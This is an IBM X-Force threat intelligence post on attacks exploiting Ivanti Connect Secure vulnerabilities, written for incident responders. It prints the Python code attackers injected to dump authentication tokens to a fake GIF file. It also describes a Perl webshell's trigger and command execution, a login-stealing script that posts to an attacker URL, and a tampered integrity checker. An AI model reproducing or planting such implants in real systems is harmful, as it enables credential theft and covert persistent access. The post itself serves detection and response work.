IBM X-Force has assisted several organizations in responding to successful compromises involving the Ivanti appliance vulnerabilities disclosed in January 2024. Analysis of these incidents has identified several Ivanti file modifications that align with current public reporting. Additionally, IBM researchers have observed specific attack techniques involving the theft of authentication token data not readily noted in current public sources. The blog details the results of this research to assist organizations in protecting against these threats.

Key Findings

• IBM research teams have directly observed the DSLog backdoor reported in active real-world cyber attacks
• X-Force also identified modifications to the Ivanti “auth_token.py” file to dump authentication token data to another file, presumably for exfiltration–this observation is distinct from other vendors
• Organizations can leverage several potential data sources when investigating potential Ivanti appliance compromises.

Overview

IBM X-Force has been monitoring the evolving campaigns leveraging recently disclosed Ivanti zero days. Initial disclosure by Ivanti was published on January 10th, 2024 and detailed CVE-2023-46805 and CVE-2024-21887 impacting Ivanti Connect Secure and Policy Secure appliances. CVE-2023-46805 pertains to an authentication bypass vulnerability permitting a remote attacker to access restricted resources. The other vulnerability, CVE-2024-21887, is a remote code execution/injection (RCE) vulnerability permitting an authenticated administrator to execute arbitrary commands by sending specially crafted packets. Public reporting indicates a threat actor exploited these vulnerabilities against select targets as early as December 2023.

Multiple vendors have attributed the initial intrusions to a suspected Chinese threat actor tracked as UTA0178 (aka UNC5221). X-Force is currently unable to corroborate this reporting with sufficient confidence to comment. On January 11th and 12th, following the publication of these vulnerabilities, multiple vendors observed mass scanning and exploitation attempts against various organizations. While UTA0178 was reportedly behind some of this increase in activity, similarities in deployed webshells and non-public methodologies have been reported as evidence that these exploits may have been shared with related actors. This proliferation of zero-day exploits similar to the initial campaign/s has been observed in widespread use to opportunistically gain footholds in thousands of organizations before or soon after patches were available. This pattern of activity is consistent with prior campaigns also attributed to suspected Chinese threat actors.

Starting January 16th, proof of concept (POC) exploit code was released for CVE-2023-46805 and CVE-2024-21887. Ivanti disclosed additional vulnerabilities CVE-2024-21893 and CVE-2024-21887 on January 31st for Ivanti Connect Secure, Policy Secure, and ZTA Gateways, with POC exploit code released on February 2nd. CVE-2024-21893 is an SSRF (Server-Side Request Forgery) vulnerability that may permit access to restricted resources without authentication. CVE-2024-21888 is a privilege escalation vulnerability. As of February 8th, Ivanti had identified an additional vulnerability, CVE-2024-22024, which is a XXE vulnerability in Ivanti Connect Secure, Policy Secure, and ZTA Gateways that allows an attacker to access certain restricted resources with authentication.

(Major Events Timeline of Ivanti Vulnerabilities)

Authentication Token Dumper

X-Force identified threat actor modifications to the file auth_token.py to include code designed to dump authentication token data. This file is part of the Python package cav-0.1-py3.6.egg, and is found at the path: /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg/cav/api/resources/auth_token.py. The CAV Python package was also targeted by the FRAMESTING, WIREFIRE, and CHAINLINE webshells observed by Mandiant, however, none of those were reported to target authentication tokens. Our malware analysis team has independently confirmed these particular webshells are being used in combination with the vulnerabilities included in this report.

The following code was inserted into auth_token.py:

from datetime import datetime
ctime = datetime.now()
ftime = ctime.strftime(“%Y-%m-%d %H:%M:%S”)
data_save = {“time”:ftime,”token_hash”:token_hash,”dsid”: dsid, “roles”: roles, “role_ids”: role_ids,”user_name”: user_name}
with open(“/home/webserver/htdocs/dana-na/auth/qrcod.gif”,”a”) as f:
    f.write(f”{data_save}\n”)

This code is designed to write information about the generated authentication token to the file /home/webserver/htdocs/dana-na/auth/qrcod.gif

The file used (auth_token.py), functionality of the inserted code, and exfiltration path identified by our researchers differ from those reported by other vendors. This may indicate differing tool sets or basic attempts at defense evasion by modifying easily identifiable features used in previous attacks.

DSLog Backdoor

X-Force also identified malicious code for a Perl-based webshell inserted into the legitimate Ivanti file /home/perl/DSLog.pm within a function named Msg which has been named “DSLog Backdoor” by another vendor. A snippet of that function can be seen below, and the lines referencing “webshell code” were inserted for clarity.

When run, the webshell code retrieves the HTTP request string and user agent from environment variables. It then checks the user agent for the string ‘3f4a8724ab807b4f4f167aa95599d5b25e2c8aa6‘. As noted in OSINT, X-Force has also observed a SHA256 hash used as a string. If this string is present within the user-agent, the webshell processes the request string, which it expects to be formatted as: &cdi=<hex_formatted_string>. These indicators have also not been identified in previous public reporting.

The webshell decodes the hex string to ASCII and performs a further ROT-47 decoding operation. It then executes the resulting string using the ‘system’ command.

In addition to the activity described above, we also observed malicious files that correspond with those described in existing reporting. These include the following:

• /home/webserver/htdocs/dana-na/auth/lastauthserverused.js – We identified credential harvesting code inserted into this legitimate file, which was similar to that observed by Mandiant (as WARPWIRE) and Volexity. The Login function within the lastauthserverused.js file has been modified to forward login credentials as an HTTP POST request to the URL http[:]//www.ehangmun[.]com/board/selectbox/xml.php.
• /home/venv3/lib/python3.6/site-packages/scanner-0.1-py3.6.egg/scanner/scripts/scanner.py – This is a legitimate file and part of the Integrity Checker Tool. The dumpStats function within the file has been modified to always report zero detected changes. Volexity also observed this behavior.
• /home/venv3/lib/python3.6/site-packages/cav-0.1-py3.6.egg‌/cav/api/resources/visits.py – This is a legitimate file to which webshell code has been added, and is called when the URI /api/v1/cav/client/visits is accessed. This matches the GIFTEDVISITOR webshell reported on by Volexity.

Ivanti Appliance Investigation Considerations

In regards to Ivanti appliances, after appropriate containment actions have been taken X-Force recommends organizations leverage the external Ivanti Integrity Check Tool (ICT) to identify potential evidence of compromise. The Ivanti ICT is a utility that is designed to check “the integrity of the complete file system and finds any additional/modified file(s)” for ICS and IPS images installed on virtual or hardware appliances, and has been the fastest way to obtain evidence in X-Force’s experience. As noted above and by others, threat actors have modified the built-in ICT to hide evidence of changes on Ivanti appliances, so running the external ICT is recommended. The output of that scan comes in the form of a TGZ file that is contained inside an encrypted “format” with a hardcoded key. While X-Force recommends working with Ivanti to decrypt the output, there is code available on GitHub that can assist with decrypting these files, should the need arise. Analysis work should involve investigating the TGZ file directly to ensure all relevant information of interest, particularly time stamps, is properly collected.

In addition to the Ivanti ICT tool output, organizations can also capture disk/memory images, as well as collect and review the User Access Log, Event Log, and Administrator Access Log files from the Admin Console. Preservation of evidence can be critical in ensuring the complete eviction of malicious actors. When possible, X-Force recommends organizations collect forensic images before remediation actions are taken, including resetting the appliance. Mitigation efforts may alert threat actors to detection and once the appliance is rebuilt, important evidence is lost. This may include critical data necessary to determine what actions the threat actor may have taken if the device was compromised. Ivanti support may also be required to decrypt these images for analysis.

Conclusion

Remote access solutions continue to remain an attractive target for threat actors looking to gain a foothold in target environments. For the most recent Ivanti appliance zero-days, X-Force has observed threat actors leverage file modifications to steal authentication token data as well as deploying the DSLog webshell to conduct post-compromise activity (particularly in maintaining persistence, lateral movement, and data exfiltration.) X-Force recommends organizations responding to an Ivanti compromise follow the remediation guidance provided by the vendor, while also taking into account forensic collection requirements.

Recommendations

• Follow the recommendations noted in the Ivanti Appliance Investigation Considerations section
• Ensure a backup of the configuration is saved for the appliance before initiating a factory reset
• Apply official patches from Ivanti to vulnerable appliances
• Consider revoking and reissuing appliance-related secrets, API keys, and certificates
• Consider rotating passwords for users that authenticated to the appliance during the timeframe of compromise
• Forward Ivanti appliance logs to a centralized location to prevent log tampering, particularly the User and Admin Access Logs, and the Events Logs
• Investigate implementing and/or leveraging a configuration management solution.

An advance copy of this analysis was provided to X-Force Premier Threat Intelligence (PTI) subscription clients on February 7, 2024. To learn how you can gain advanced insight into X-Force Threat Intelligence products, try a 30-day free trial of PTI on X-Force Exchange.

To learn how IBM X-Force can help you with anything regarding cybersecurity including incident response, threat intelligence, or offensive security services schedule a meeting here.

If you are experiencing cybersecurity issues or an incident, contact X-Force to help: US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.